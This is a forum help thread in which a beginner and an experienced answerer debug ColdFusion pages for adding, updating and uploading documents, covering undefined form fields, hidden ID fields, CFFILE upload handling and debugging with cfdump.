              hint="Date Record Modifed">

  <!--- Update document --->
 <cfquery datasource="#ds#">
  UPDATE tbl_CEP_Documents
  SET   DocumentTitle = <cfqueryparam cfsqltype="cf_sql_varchar"  value="#Trim(ARGUMENTS.DocumentTitle)#">,
		DocumentType = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentType)#">,
		DocumentAuthor = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAuthor)#">,
	    DocumentAbstract = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAbstract)#">,
	    DocumentPublicationDate = <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(ARGUMENTS.DocumentPublicationDate)#">,
	    DateRecordModified = <cfqueryparam cfsqltype="cf_sql_timestamp" value="#now()#">
  WHERE DocumentID = <cfqueryparam cfsqltype="cf_sql_integer" value="#ARGUMENTS.DocumentID#">
  </cfquery>
  <cfreturn true>

 </cffunction>
 
 
 <!--- Delete a document --->
 <cffunction name="delete"
             returntype="boolean"
             hint="Delete a document">
  <cfargument name="DocumentID"
              type="numeric"
              required="yes"
              hint="document ID">

  <cfquery datasource="#ds#">
  DELETE FROM tbl_CEP_Documents
  WHERE DocumentID = <cfqueryparam cfsqltype="cf_sql_integer" value="#ARGUMENTS.DocumentID#">
  </cfquery>
  <cfreturn true>
  
 </cffunction>

</cfcomponent>



cep_document_process.cfm:

<!--- Update method, or add method? --->
<cfif IsDefined("FORM.DocumentID")>
 <cfset method="update">
<cfelse>
 <cfset method="add">
</cfif>

<!--- Process --->
<cfinvoke component="cep_documents" method="#method#">

 <!--- DocumentID only if update method --->
  <cfif IsDefined("FORM.DocumentID")>
  <cfinvokeargument name="DocumentID"
                    value="#FORM.DocumentID#">
 </cfif>
 <cfinvokeargument name="DocumentTitle"
                   value="#Trim(FORM.DocumentTitle)#">
 <cfinvokeargument name="DocumentType"
                   value="#Trim(FORM.DocumentType)#">
 <cfinvokeargument name="DocumentAuthor"
                   value="#Trim(FORM.DocumentAuthor)#">
 <cfinvokeargument name="DocumentAbstract"
                   value="#Trim(FORM.DocumentAbstract)#">
 <cfinvokeargument name="DocumentPublicationDate"
                   value="#DateFormat(FORM.DocumentPublicationDate)#">
 <cfinvokeargument name="DateRecordModified"
                   value="#now()#">
 <cfinvokeargument name="FileID"
                   value="#Trim(FORM.FileID)#">
 <cfinvokeargument name="FileName"
                   value="#Trim(FORM.FileName)#">
 <cfinvokeargument name="FileExtension"
                   value="#Trim(FORM.FileExtension)#">
 <cfinvokeargument name="FileType"
                   value="#Trim(FORM.FileType)#">
 <cfinvokeargument name="FileSize"
                   value="#Trim(FORM.FileSize)#">
                   
                   
                   
</cfinvoke>



<!--- When done go back to CEP Documents Control Panel --->
<cflocation url="index.cfm" />


Name:        cep_document_edit.cfm

<!--- Check that DocumentID has been provided --->
<!--- If yes, do method edit; else, do method add --->
<cfset EditMode=IsDefined("URL.DocumentID")>

<!--- If edit mode, then get row to edit --->
<cfif EditMode>

 <!--- Get the document record --->
 <cfinvoke component="cep_documents"
           method="get"
           documentid="#URL.DocumentID#"
           returnvariable="GetDocumentRecord">

 <!--- Save to variables --->
 <cfset DocumentTitle=Trim(GetDocumentRecord.DocumentTitle)>
 <cfset DocumentType=Trim(GetDocumentRecord.DocumentType)>
 <cfset DocumentAuthor=Trim(GetDocumentRecord.DocumentAuthor)>
 <cfset DocumentAbstract=Trim(GetDocumentRecord.DocumentAbstract)>
 <cfset DocumentPublicationDate=DateFormat(GetDocumentRecord.DocumentPublicationDate, "MM/DD/YYYY")>

 
 <!--- Form text --->
 <cfset FormTitle="Update a Document">
 <cfset ButtonText="Update">
 
<cfelse>

 <!--- Set default values for variables, so that variables are defined --->
 <cfset DocumentTitle="" />
 <cfset DocumentType="" />
 <cfset DocumentAuthor="" />
 <cfset DocumentAbstract="" />
 <cfset DocumentPublicationDate="" />
 <cfset SSMA_TimeStamp="" />
 <cfset DateRecordModified="" />

 

 <!--- Form text --->
 <cfset FormTitle="Add a Document">
 <cfset ButtonText="Add Document">

</cfif>


<!--- Page header --->
<cfinclude template="cep_header.cfm" />


<!--- form begins here--->

<!--- Add/update Document form --->
<cfform action="cep_document_process.cfm">

<cfif EditMode>
 <!--- Embed primary key as a hidden field --->
 <cfoutput>
 <input type="hidden" name="documentID" value="#GetDocumentRecord.documentID#" />
 </cfoutput>
</cfif>

<table align="center" bgcolor="white">
 <tr>
  <th colspan="2">
   <cfoutput>
<h2>#FormTitle#</h2>
   </cfoutput>
  </th>
 </tr>
 <tr>
  <td>
   <p><strong>Document Title</strong></p>
  </td>
  <td>
   <cfinput type="Text"
            name="DocumentTitle"
            value="#DocumentTitle#"
            message="Document title is required!"
            required="Yes"
            validateAt="onSubmit,onServer"
            size="50"
            maxlength="100" />
  </td>
 </tr>
 <tr>
  <td>
   <p><strong>Document Type</strong></p>
  </td>
  <td>
   <select name="DocumentType" value="#DocumentType#" message="Please choose Document Type from the Select Menu" required="Yes" validateAt="onSubmit,onServer" >            <option value="Report">Report</option>
            <option value="Press Release">Press Release</option>
            <option value="Article">Article</option>
            <option value="Summary">Summary</option>
            <option value="Letter">Letter</option>
            <option value="Audio Transcript">Audio Transcript</option>
            <option value="Text Transcript">Text Transcript</option>
   </select>
            
          
  </td>
 </tr>


 <tr>
  <td>
   <p><strong>Document Author</strong></p>
  </td>
  <td>
   <cfinput type="Text"
            name="DocumentAuthor"
            value="#DocumentAuthor#"
            message="Enter Document Author Name"
            required="yes"
            validateAt="onSubmit,onServer"
            size="10"
            maxlength="10" />
  </td>
 </tr>



 <tr>
  <td>
   <p><strong>Document Abstract</strong></p>
  </td>
  <td>
   <cfoutput>
   <textarea name="DocumentAbstract" cols="40" rows="5" wrap="virtual">#DocumentAbstract#</textarea>
   </cfoutput>
  </td>
 </tr>
 
 
 <tr>
  <td>
   <p><strong>Publication Date (use form MM/DD/YYYY)</strong></p>
  </td>
  <td>
   <cfinput type="Text"
            name="DocumentPublicationDate"
            value="#DocumentPublicationDate#"
            message="Publication Date must be a valid date!"
            required="no"
            validate="date"
            validateAt="onSubmit,onServer"
            size="10"
            maxlength="10" />
  </td>
 </tr>


 <tr>
  <td>
<p>Upload a file: MS Word, MS Excel, PDF, JPEG, GIF, or PNG:</p>
<cfinput type="file" size="25" accept="application/msexcel,application/msword,application/pdf,image/gif,image/jpeg,image/x-png" name="FileName" /></td>

<td>&nbsp;</td>
 </tr>


 <tr>
  <td colspan="2" align="center">
   <cfoutput>
   <input type="submit" value="#ButtonText#" />
   </cfoutput>
  </td>
   </tr>
</table>

</cfform>

<!--- Page footer --->
<cfinclude template="cep_footer.cfm" />

Open in new window

0
gdemariaCommented:
> I've been staring at this code for several hours now. What am I missing?

You are missing FORM.FileID, that's what the error says...

> However, I thought FileID was supposed to populate automatically in the database table tbl_CEP_files

If that is the case, then why are you referring to it line line 35/36

35 :  <cfinvokeargument name="FileID"
36 :              value="#Trim(FORM.FileID)#">


The error is telling you that you have a variable that is not defined (form.fileID).
That means you are using it someplace, but you are not passing it in your form post.

So, you should either include it in your form post or not  use it in line 35...


So then the question, which should I do?  

Well, the form ID is needed if you plan on updating the page, that way you can refer to the same record on update.   If this form is intended to INSERT ONLY, then you don't need it because it will never be populated, right?   If the record is always new, then you don't have the primary key until after it's created.

However, most people when the create a form build ONE form to Insert and Update together.   Are you doing that?    Will this form be used to add a document as well as update the document?   If it will, then you need the fileIDs and documentIDs in a hidden form fields.   That is the preferred way to do it.

If they can NEVER update a document, then it can be an insert only form and you don't need IDs.  In that case you should remove the FileID from the lines 35/36 because you are not passing them.

0
Eric BourlandAuthor Commented:
gdemaria, I understand.

Yes, this form is intended to both Add and Update a record. I understand about the hidden form fields, and I get what you are saying about lines:

35 :  <cfinvokeargument name="FileID"
36 :              value="#Trim(FORM.FileID)#">

I will work on this task later this evening and get back to you. Thank you again. Take care.

Eric
0
Eric BourlandAuthor Commented:
I am making progress.

DocumentID and FileID are both hidden fields in the edit form:

<!--- form begins here--->

<!--- Add/update Document form --->
<cfform action="cep_document_process.cfm">

<cfif EditMode>
 <!--- Embed documentID (PK) and fileID as hidden fields --->
 <cfoutput>
<input type="hidden" name="documentID" value="#GetDocumentRecord.documentID#" />
<input type="hidden" name="fileID" value="#GetDocumentRecord.fileID#" />
 
 </cfoutput>
</cfif>

I am not clear how to populate the other columns in my new table, tbl_CEP_Files:

FileExtension nvarchar(10)
FileType nvarchar(10)
isDeleted  (bit)

It seems to me that these are NOT values that the user will enter manually; rather, ColdFusion should derive the values when it processes the files that are uploaded. A file image.jpg gets FileExtension JPG. A file letter.doc gets FileExtension DOC. Etc.

These Columns:
FileExtension nvarchar(10)
FileType nvarchar(10)

Would be populated in such a way. Am I correct in thinking this way?

I've also got numerous other questions that I am trying to figure out on my own, using examples given to me previously.

Currently when I process my form at

http://ebwebwork.com/cep/admin/cep_document_edit.cfm

....I get this error:

Element FILEEXTENSION is undefined in FORM.  
 
 
The error occurred in C:\websites\ebwebwork.com\cep\admin\cep_document_process.cfm: line 38
 
36 :                    value="#Trim(FORM.FileName)#">
37 :  <cfinvokeargument name="FileExtension"
38 :                    value="#Trim(FORM.FileExtension)#">
39 :  <cfinvokeargument name="FileType"
40 :                    value="#Trim(FORM.FileType)#">


I hope you are enjoying the weekend. Thank you again.

Eric

cep_document_edit.cfm:

<!--- Check that DocumentID has been provided --->
<!--- If yes, do method edit; else, do method add --->
<cfset EditMode=IsDefined("URL.DocumentID")>

<!--- If edit mode, then get row to edit --->
<cfif EditMode>

 <!--- Get the document record --->
 <cfinvoke component="cep_documents"
           method="get"
           documentid="#URL.DocumentID#"
           returnvariable="GetDocumentRecord">

 <!--- Save to variables --->
 <cfset DocumentTitle=Trim(GetDocumentRecord.DocumentTitle)>
 <cfset DocumentType=Trim(GetDocumentRecord.DocumentType)>
 <cfset DocumentAuthor=Trim(GetDocumentRecord.DocumentAuthor)>
 <cfset DocumentAbstract=Trim(GetDocumentRecord.DocumentAbstract)>
 <cfset DocumentPublicationDate=DateFormat(GetDocumentRecord.DocumentPublicationDate, "MM/DD/YYYY")>

 
 <!--- Form text --->
 <cfset FormTitle="Update a Document">
 <cfset ButtonText="Update">
 
<cfelse>

 <!--- Set default values for variables, so that variables are defined --->
 <cfset DocumentTitle="" />
 <cfset DocumentType="" />
 <cfset DocumentAuthor="" />
 <cfset DocumentAbstract="" />
 <cfset DocumentPublicationDate="" />
 <cfset SSMA_TimeStamp="" />
 <cfset DateRecordModified="" />

 

 <!--- Form text --->
 <cfset FormTitle="Add a Document">
 <cfset ButtonText="Add Document">

</cfif>


<!--- Page header --->
<cfinclude template="cep_header.cfm" />


<!--- form begins here--->

<!--- Add/update Document form --->
<cfform action="cep_document_process.cfm">

<cfif EditMode>
 <!--- Embed documentID (PK) and fileID as hidden fields --->
 <cfoutput>
<input type="hidden" name="documentID" value="#GetDocumentRecord.documentID#" />
<input type="hidden" name="fileID" value="#GetDocumentRecord.fileID#" />
  
 </cfoutput>
</cfif>

<table align="center" bgcolor="white">
 <tr>
  <th colspan="2">
   <cfoutput>
<h2>#FormTitle#</h2>
   </cfoutput>
  </th>
 </tr>
 <tr>
  <td>
   <p><strong>Document Title</strong></p>
  </td>
  <td>
   <cfinput type="Text"
            name="DocumentTitle"
            value="#DocumentTitle#"
            message="Document title is required!"
            required="Yes"
            validateAt="onSubmit,onServer"
            size="50"
            maxlength="100" />
  </td>
 </tr>
 <tr>
  <td>
   <p><strong>Document Type</strong></p>
  </td>
  <td>
   <select name="DocumentType" value="#DocumentType#" message="Please choose Document Type from the Select Menu" required="Yes" validateAt="onSubmit,onServer" >            <option value="Report">Report</option>
            <option value="Press Release">Press Release</option>
            <option value="Article">Article</option>
            <option value="Summary">Summary</option>
            <option value="Letter">Letter</option>
            <option value="Audio Transcript">Audio Transcript</option>
            <option value="Text Transcript">Text Transcript</option>
   </select>
            
          
  </td>
 </tr>


 <tr>
  <td>
   <p><strong>Document Author</strong></p>
  </td>
  <td>
   <cfinput type="Text"
            name="DocumentAuthor"
            value="#DocumentAuthor#"
            message="Enter Document Author Name"
            required="yes"
            validateAt="onSubmit,onServer"
            size="10"
            maxlength="10" />
  </td>
 </tr>



 <tr>
  <td>
   <p><strong>Document Abstract</strong></p>
  </td>
  <td>
   <cfoutput>
   <textarea name="DocumentAbstract" cols="40" rows="5" wrap="virtual">#DocumentAbstract#</textarea>
   </cfoutput>
  </td>
 </tr>
 
 
 <tr>
  <td>
   <p><strong>Publication Date (use form MM/DD/YYYY)</strong></p>
  </td>
  <td>
   <cfinput type="Text"
            name="DocumentPublicationDate"
            value="#DocumentPublicationDate#"
            message="Publication Date must be a valid date!"
            required="no"
            validate="date"
            validateAt="onSubmit,onServer"
            size="10"
            maxlength="10" />
  </td>
 </tr>


 <tr>
  <td>
<p>Upload a file: MS Word, MS Excel, PDF, JPEG, GIF, or PNG:</p>
<cfinput type="file" size="25" accept="application/msexcel,application/msword,application/pdf,image/gif,image/jpeg,image/x-png" name="FileName" /></td>

<td>&nbsp;</td>
 </tr>


 <tr>
  <td colspan="2" align="center">
   <cfoutput>
   <input type="submit" value="#ButtonText#" />
   </cfoutput>
  </td>
   </tr>
</table>

</cfform>

<!--- Page footer --->
<cfinclude template="cep_footer.cfm" />



cep_document_process.cfm:

<!--- Update method, or add method? --->
<cfif IsDefined("FORM.DocumentID")>
 <cfset method="update">
<cfelse>
 <cfset method="add">
</cfif>

<!--- Process --->
<cfinvoke component="cep_documents" method="#method#">

 <!--- DocumentID only if update method --->
  <cfif IsDefined("FORM.DocumentID")>
  <cfinvokeargument name="DocumentID"
                    value="#FORM.DocumentID#">
 </cfif>
 <cfinvokeargument name="DocumentTitle"
                   value="#Trim(FORM.DocumentTitle)#">
 <cfinvokeargument name="DocumentType"
                   value="#Trim(FORM.DocumentType)#">
 <cfinvokeargument name="DocumentAuthor"
                   value="#Trim(FORM.DocumentAuthor)#">
 <cfinvokeargument name="DocumentAbstract"
                   value="#Trim(FORM.DocumentAbstract)#">
 <cfinvokeargument name="DocumentPublicationDate"
                   value="#DateFormat(FORM.DocumentPublicationDate)#">
 <cfinvokeargument name="DateRecordModified"
                   value="#now()#">
 <cfinvokeargument name="FileName"
                   value="#Trim(FORM.FileName)#">
 <cfinvokeargument name="FileExtension"
                   value="#Trim(FORM.FileExtension)#">
 <cfinvokeargument name="FileType"
                   value="#Trim(FORM.FileType)#">
 <cfinvokeargument name="FileSize"
                   value="#Trim(FORM.FileSize)#">
                   
                   
                   
</cfinvoke>



<!--- When done go back to CEP Documents Control Panel --->
<cflocation url="index.cfm" />

Open in new window

0
gdemariaCommented:
You are correct file Extension, size, etc are not coming from the user, but rather being determined from the file upload process.

You should remove those variables from being passed to your cfc function, they will not come from the form.

You need to add the CFFILE ACTION="Upload"  command to get your file to upload.   After that, you can use the  cffile.xxxx   variables  such as cffile.clientFileName, etc variables to get whatever traits about the file you want to capture and save in your table (ext, size, client file name, etc).

0
Eric BourlandAuthor Commented:
I understand.

I added this code, similar to the code we used in the last question. The form processes and I get no error -- but no record is created and no file is upoaded. I am going to use CFDUMP to see what is going on.  More soon. Thanks again.

eric
0
gdemariaCommented:
You can also add little tags to see what parts of the code you're getting to and which you are not..

<h3>Form Submitted</h3>
....
<h3>Inserting</h3>
...
etc...

Also, you can look at the debug output to see if any SQL statements are executed (insert or update)

0
Eric BourlandAuthor Commented:
azadi and gdemaria, still working on this. In meetings all day ... just got back to office. Thank you again for your patience and help. Have a great evening. More tomorrow.

Eric
0
Eric BourlandAuthor Commented:
OK, I tried adding:

<cfdump var="#GetDocumentList.DocumentID#">

to my file http://ebwebwork.com/cep/admin/cep_document_edit.cfm

But I get an error that the Element DOCUMENTID is undefined in GETDOCUMENTLIST.
 
The error occurred in C:\websites\ebwebwork.com\cep\admin\cep_document_edit.cfm: line 235

233 : </cfform>
234 :
235 : <cfdump var="#GetDocumentList.DocumentID#">

I have been looking at cep_document_process.cfm, cep_document_edit.cfm, and cep_documents.cfc, and I do not see which variable to test in CFDUMP.

I would like to try the <h3>Form Submitted</h3>
....
<h3>Inserting</h3>
...
etc...

that you recommend. But I am not sure where to put those statements.

I've been staring at this code for a long time but obviously am missing key concepts. Can you point me in the right direction?

Thanks again.

Eric
<!---
Name:        cep_document_edit.cfm
Author:      Eric Bourland, following Ben Forta code in ColdFusion 8 web application construction kit
Description: CEP add and update documents form
Created:     2/24/2010
--->


<!--- Check that DocumentID has been provided --->
<!--- If yes, do method edit; else, do method add --->
<cfset EditMode=IsDefined("URL.DocumentID")>

<!--- If edit mode, then get row to edit --->
<cfif EditMode>

 <!--- Get the document record --->
 <cfinvoke component="cep_documents"
           method="get"
           documentid="#URL.DocumentID#"
           returnvariable="GetDocumentRecord">

 <!--- Save to variables --->
 <cfset DocumentTitle=Trim(GetDocumentRecord.DocumentTitle)>
 <cfset DocumentType=Trim(GetDocumentRecord.DocumentType)>
 <cfset DocumentAuthor=Trim(GetDocumentRecord.DocumentAuthor)>
 <cfset DocumentAbstract=Trim(GetDocumentRecord.DocumentAbstract)>
 <cfset DocumentPublicationDate=DateFormat(GetDocumentRecord.DocumentPublicationDate, "MM/DD/YYYY")>

 
 <!--- Form text --->
 <cfset FormTitle="Update a Document">
 <cfset ButtonText="Update">
 
<cfelse>

 <!--- Set default values for variables, so that variables are defined --->
 <cfset DocumentTitle="" />
 <cfset DocumentType="" />
 <cfset DocumentAuthor="" />
 <cfset DocumentAbstract="" />
 <cfset DocumentPublicationDate="" />
 <cfset SSMA_TimeStamp="" />
 <cfset DateRecordModified="" />

 

 <!--- Form text --->
 <cfset FormTitle="Add a Document">
 <cfset ButtonText="Add Document">

</cfif>


<!--- Page header --->
<cfinclude template="cep_header.cfm" />


<!--- form begins here--->

<!--- Add/update Document form --->
<cfform action="cep_document_process.cfm">

<cfif EditMode>
 <!--- Embed documentID (PK) and fileID as hidden fields --->
 <cfoutput>
<input type="hidden" name="documentID" value="#GetDocumentRecord.documentID#" />
<input type="hidden" name="fileID" value="#GetDocumentRecord.fileID#" />
  
 </cfoutput>
</cfif>

<table align="center" bgcolor="white">
 <tr>
  <th colspan="2">
   <cfoutput>
<h2>#FormTitle#</h2>
   </cfoutput>
  </th>
 </tr>
 <tr>
  <td>
   <p><strong>Document Title</strong></p>
  </td>
  <td>
   <cfinput type="Text"
            name="DocumentTitle"
            value="#DocumentTitle#"
            message="Document title is required!"
            required="Yes"
            validateAt="onSubmit,onServer"
            size="50"
            maxlength="100" />
  </td>
 </tr>
 <tr>
  <td>
   <p><strong>Document Type</strong></p>
  </td>
  <td>
   <select name="DocumentType" value="#DocumentType#" message="Please choose Document Type from the Document Type Select Menu" required="Yes" validateAt="onSubmit,onServer" >            <option value="Report">Report</option>
            <option value="Press Release">Press Release</option>
            <option value="Article">Article</option>
            <option value="Summary">Summary</option>
            <option value="Letter">Letter</option>
            <option value="Audio Transcript">Audio Transcript</option>
            <option value="Text Transcript">Text Transcript</option>
   </select>
            
          
  </td>
 </tr>


 <tr>
  <td>
   <p><strong>Document Author</strong></p>
  </td>
  <td>
   <cfinput type="Text"
            name="DocumentAuthor"
            value="#DocumentAuthor#"
            message="Enter Document Author Name"
            required="yes"
            validateAt="onSubmit,onServer"
            size="10"
            maxlength="10" />
  </td>
 </tr>



 <tr>
  <td>
   <p><strong>Document Abstract</strong></p>
  </td>
  <td>
   <cfoutput>
   <textarea name="DocumentAbstract" cols="40" rows="5" wrap="virtual">#DocumentAbstract#</textarea>
   </cfoutput>
  </td>
 </tr>
 
 
 <tr>
  <td>
   <p><strong>Publication Date (use form MM/DD/YYYY)</strong></p>
  </td>
  <td>
   <cfinput type="Text"
            name="DocumentPublicationDate"
            value="#DocumentPublicationDate#"
            message="Publication Date must be a valid date!"
            required="no"
            validate="date"
            validateAt="onSubmit,onServer"
            size="10"
            maxlength="10" />
  </td>
 </tr>


 <tr>
  <td>
<p>Upload a file: MS Word, MS Excel, PDF, JPEG, GIF, or PNG:</p>



<!--- begin form.doSave to prevent form action processing as soon as page loads --->
<cfif isDefined("form.doSave")>

<cfset requestTimeout="5000000" />
  <cfset files = "doc,docx,jpg,jpeg,png,gif,pdf,ppt,xls,xlsx,txt">
  <cfset destination ="c:\upload\cep-dc.org\">
 <cfset filter ="application/vnd.ms-word, application/vnd.msword, application/msword, image/jpg, image/jpeg, image/png, image/gif, application/pdf, application/vnd.ms-powerpoint, application/vnd.ms-excel, text/plain">



<!--- use CFTRY and CFCATCH to test that file were uploaded successfully, or not --->
 <cftry> 
  <cffile action="upload" filefield="FileContents" destination="#destination#" nameconflict="overwrite" accept = "application/vnd.ms-word, application/vnd.msword, application/msword, image/jpg, image/jpeg, image/png, image/gif, application/pdf, application/vnd.ms-powerpoint, application/vnd.ms-excel, text/plain">

<cfif listFindNoCase("doc,docx,jpg,jpeg,png,gif,pdf,ppt,xls,xlsx,txt", cffile.serverFileExt) eq 0>
    <cfthrow message="File did not upload; are you trying to upload a malicious file?">
</cfif>

  <cfset fileuploaded = true>
  
  <cfcatch type="any">
    <cfset fileuploaded = false>
  </cfcatch>

</cftry>


<!--- if file were uploaded successfully --->
<cfif fileuploaded>

<div class="bluebox"><strong>File uploaded! Great success!</strong></em></div>
 
 <!--- if file were not uploaded --->
  <cfelse>
  
  <div class="redbox"><strong>File did not upload. Make sure to upload only files with extension jpg, jpeg, png, gif, doc, docx, pdf, ppt, xls, xlsx, txt. Make sure you use the Browse button, below, to browse your computer or server for a file to upload.</strong></div>
  
  
   </cfif>
 <!--- end cfif fileuploaded --->
  
   
 
 <!--- end form.doSave --->
</cfif>

<cfinput type="file" size="25" accept="application/msexcel,application/msword,application/pdf,image/gif,image/jpeg,image/x-png" name="FileName" />

</td>

<td>&nbsp;</td>
 </tr>


 <tr>
  <td colspan="2" align="center">
   <cfoutput>
   <input name="doSave" type="submit" value="#ButtonText#" />
   </cfoutput>
  </td>
   </tr>
</table>



</cfform>

<cfdump var="#GetDocumentList.DocumentID#">


<!--- Page footer --->
<cfinclude template="cep_footer.cfm" />

Open in new window

0
gdemariaCommented:
> I do not see which variable to test in CFDUMP

The purpose of cfdump is to dump a set of variables at once to see what is populated and with what values.

<cfdump var="#form#">   will show you all your form variables


> But I am not sure where to put those statements.

Whenever I get lost in what I'm doing, I stop and ask myself,  "what problem is it that I'm trying to solve..."
A wise man (my father) always told me that you can't get the right answer until you ask the right question.

Consider what problem you are having and what you're trying to solve.   That should tell you where to put the Output Flags.

This is the statement you made when I suggested showing the flags...

> The form processes and I get no error -- but no record is created and no file is upoaded.

In this case, you may need to find out what parts of the code are getting reached and which are not.  If there is no insert, but not error, then you are likely never getting to the part of the code that performs the database insert/update.   But how far are you getting?  Where is it not letting you in?   Place a flag inside of each CFIF or CFLOOP statment of your action and see what is running and what is not.  


So you can change your CFDUMP or get rid of it.   Your current objective is to determine why you are not inserting and to populate the file fields such as size, extension, etc...

Remember my previous post:::

----------------------------------------------------------------------------------------------------------------------------------------------------------------
You are correct file Extension, size, etc are not coming from the user, but rather being determined from the file upload process.

You should remove those variables from being passed to your cfc function, they will not come from the form.

You need to add the CFFILE ACTION="Upload"  command to get your file to upload.   After that, you can use the  cffile.xxxx   variables  such as cffile.clientFileName, etc variables to get whatever traits about the file you want to capture and save in your table (ext, size, client file name, etc).
----------------------------------------------------------------------------------------------------------------------------------------------------------------


So, take a status of where you are.   You should pass to the CFC functions ONLY the fields that are in your form.  You cannot pass file size or extension because they are not in your form, so remove them.

Then, inside your action (perhaps inside the cfc?) you need to do the File Upload, you haven't done that yet.   Use CFFILE to do that.   CFFILE will give you the variables for extension, size, etc.   Then take these values and the ones from your form and insert them into the database.

make sense?





0
Eric BourlandAuthor Commented:
Your father was a smart guy.

OK, I understand. I am working on this. I will come back here tomorrow with some new code.

This is making a lot more sense now.

Thank you again, and good night.

Eric
0
Eric BourlandAuthor Commented:
gdemaria,

I've been thinking for a while about your comments, above. I'm very grateful for your patience with this slow learner.

>>><cfdump var="#form#">   will show you all your form variables

I tried this, but I get back only a message that says: struct [empty]

... so I believe that finding the problem through CFDUMP is not a useful idea here.

>>>>>>need to find out what parts of the code are getting reached and which are not.

This, I understand. So, the place where the actual INSERT happens is in file cep_documents.cfc.

So, in that file, I added:

<h3>Inserting</h3>

  <!--- Insert document --->
  <cfquery datasource="#ds#">
  INSERT INTO tbl_CEP_Documents(DocumentTitle,
                    DocumentType,
                    DocumentAuthor,
                    DocumentAbstract,
                    DocumentPublicationDate,
                    SSMA_TimeStamp)
  VALUES(
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentTitle)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentType)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAuthor)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAbstract)#">,
  <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(ARGUMENTS.DocumentPublicationDate)#">,
  CURRENT_TIMESTAMP
         )        
  </cfquery>
  <cfreturn true>

 </cffunction>

.... but, I as I thought would happen, there is no effect, since file cep_documents.cfc is never visible in the browser.

So, next, I think I should add <h3>Inserting</h3> to cep_document_edit.cfm. In file cep_document_edit.cfm, the insert occurs when the user clicks the Submit button. So I did:


<h3>Inserting</h3>

 <tr>
  <td colspan="2" align="center">
   <cfoutput>
   <input name="doSave" type="submit" value="#ButtonText#" />
   </cfoutput>
  </td>
   </tr>
</table>

</cfform>

Of course, that does not help at all. I am trying to figure out where, exactly, to add <h3>Inserting</h3>. My last idea is to place

<h3>Inserting</h3>

somewhere in cep_document_process.cfm. So I put it at the beginning of all of the cfinvokearguments:

<h3>Inserting</h3>

 <cfinvokeargument name="DocumentTitle"
                   value="#Trim(FORM.DocumentTitle)#">
 <cfinvokeargument name="DocumentType"
                   value="#Trim(FORM.DocumentType)#">
 <cfinvokeargument name="DocumentAuthor"
                   value="#Trim(FORM.DocumentAuthor)#">
 <cfinvokeargument name="DocumentAbstract"
                   value="#Trim(FORM.DocumentAbstract)#">
 <cfinvokeargument name="DocumentPublicationDate"
                   value="#DateFormat(FORM.DocumentPublicationDate)#">
 <cfinvokeargument name="DateRecordModified"
                   value="#now()#">
 <cfinvokeargument name="FileName"
                   value="#Trim(FORM.FileName)#">
</cfinvoke>

But, as again I suspected, the form still processes, and the <h3>Inserting</h3>
 never appears.


>>>>then you are likely never getting to the part of the code that performs the database insert/update.

I agree with this 100%.

>>>But how far are you getting?  Where is it not letting you in?   Place a flag inside of each CFIF or CFLOOP statment of your action

This makes me think that, indeed, the <h3>Inserting</h3> statement does go inside file  cep_document_process.cfm. I could be putting it in the wrong place.

Or, as sometimes happens with me, I am taking your instructions too literally.

When you say <h3>Inserting</h3> you might mean something else. Hmmm. Like I should put a variable in place of "Inserting" or some other test. A "flag" is what you said.

I'm really thinking hard about every word that you have said above, to extrapolate your exact meaning.

Can you give me another hint about where to put <h3>Inserting</h3>. And, if, literally,  <h3>Inserting</h3> is the text that I should place in one of my files?  I am still confused about this, sorry.

>>>Then, inside your action (perhaps inside the cfc?) you need to do the File Upload, you haven't done that yet.  

I need to move this code:


<cfset requestTimeout="5000000" />
  <cfset files = "doc,docx,jpg,jpeg,png,gif,pdf,ppt,xls,xlsx,txt">
  <cfset destination ="c:\upload\cep-dc.org\">
 <cfset filter ="application/vnd.ms-word, application/vnd.msword, application/msword, image/jpg, image/jpeg, image/png, image/gif, application/pdf, application/vnd.ms-powerpoint, application/vnd.ms-excel, text/plain">



<!--- use CFTRY and CFCATCH to test that file were uploaded successfully, or not --->
 <cftry>
  <cffile action="upload" filefield="FileContents" destination="#destination#" nameconflict="overwrite" accept = "application/vnd.ms-word, application/vnd.msword, application/msword, image/jpg, image/jpeg, image/png, image/gif, application/pdf, application/vnd.ms-powerpoint, application/vnd.ms-excel, text/plain">

<cfif listFindNoCase("doc,docx,jpg,jpeg,png,gif,pdf,ppt,xls,xlsx,txt", cffile.serverFileExt) eq 0>
    <cfthrow message="File did not upload; make sure to upload only permitted file types">
</cfif>

  <cfset fileuploaded = true>
 
  <cfcatch type="any">
    <cfset fileuploaded = false>
  </cfcatch>

</cftry>

.... to my cep_documents.cfc file. I think that would make the cep_document_edit.cfm look a lot cleaner. And I do like the idea of using cep_documents.cfc as the "control panel" that controls the uploading of documents. I will take a stab at this.

I am turning these ideas over and over in my head.

I'm very grateful for your patience. I know I can be a frustrating student. =)

Eric
cep_document_edit.cfm

<!--- Check that DocumentID has been provided --->
<!--- If yes, do method edit; else, do method add --->
<cfset EditMode=IsDefined("URL.DocumentID")>

<!--- If edit mode, then get row to edit --->
<cfif EditMode>

 <!--- Get the document record --->
 <cfinvoke component="cep_documents"
           method="get"
           documentid="#URL.DocumentID#"
           returnvariable="GetDocumentRecord">

 <!--- Save to variables --->
 <cfset DocumentTitle=Trim(GetDocumentRecord.DocumentTitle)>
 <cfset DocumentType=Trim(GetDocumentRecord.DocumentType)>
 <cfset DocumentAuthor=Trim(GetDocumentRecord.DocumentAuthor)>
 <cfset DocumentAbstract=Trim(GetDocumentRecord.DocumentAbstract)>
 <cfset DocumentPublicationDate=DateFormat(GetDocumentRecord.DocumentPublicationDate, "MM/DD/YYYY")>

 
 <!--- text for form title and Button, when updating a document --->
 <cfset FormTitle="Update a Document">
 <cfset ButtonText="Update">
 
<cfelse>

 <!--- Set default values for variables, so that variables are always defined --->
 <cfset DocumentTitle="" />
 <cfset DocumentType="" />
 <cfset DocumentAuthor="" />
 <cfset DocumentAbstract="" />
 <cfset DocumentPublicationDate="" />
